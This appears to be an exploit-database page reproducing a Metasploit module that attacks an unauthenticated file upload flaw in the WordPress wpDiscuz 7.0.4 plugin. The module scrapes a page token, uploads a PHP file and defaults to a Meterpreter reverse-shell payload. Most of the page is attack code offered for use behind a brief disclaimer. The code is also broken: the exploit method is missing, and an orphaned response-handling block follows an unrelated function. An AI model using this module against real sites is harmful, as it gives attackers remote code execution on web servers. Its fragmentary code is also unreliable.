Exploits / Vulnerability Discovered : 2021-01-08 |
Type : webapps |
Platform : php
This exploit / vulnerability Wordpress plugin wpdiscuz 7.0.4 unauthenticated arbitrary file upload (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress wpDiscuz Unauthen File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
version 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files,
including PHP files, and achieve remote code execution on a vulnerable site’s server.
},
'Author' =>
[
'Chloe Chamberland', # Vulnerability Discovery, initial msf module
'Hoa Nguyen - SunCSR' # Metasploit Module Pull Request
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '10333'],
['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
['URL','https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
['URL','https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wpDiscuz < 7.0.5', {}]],
'DisclosureDate' => 'Feb 21 2020',
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('BLOGPATH',[true,'Link to the post [/index.php/2020/12/12/post1]', nil]),
]
end
def check
check_plugin_version_from_readme('wpdiscuz','7.0.5')
end
def blogpath
datastore['BLOGPATH']
end
def find_wmusecurity_id
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath)},5)
wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/).captures
return wmusecurity_id
end
if res
if res.code == 200 && res.body =~ /#{php_page_name}/
print_good("Payload uploaded as #{php_page_name}")
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, "#{peer} - Server did not answer")
end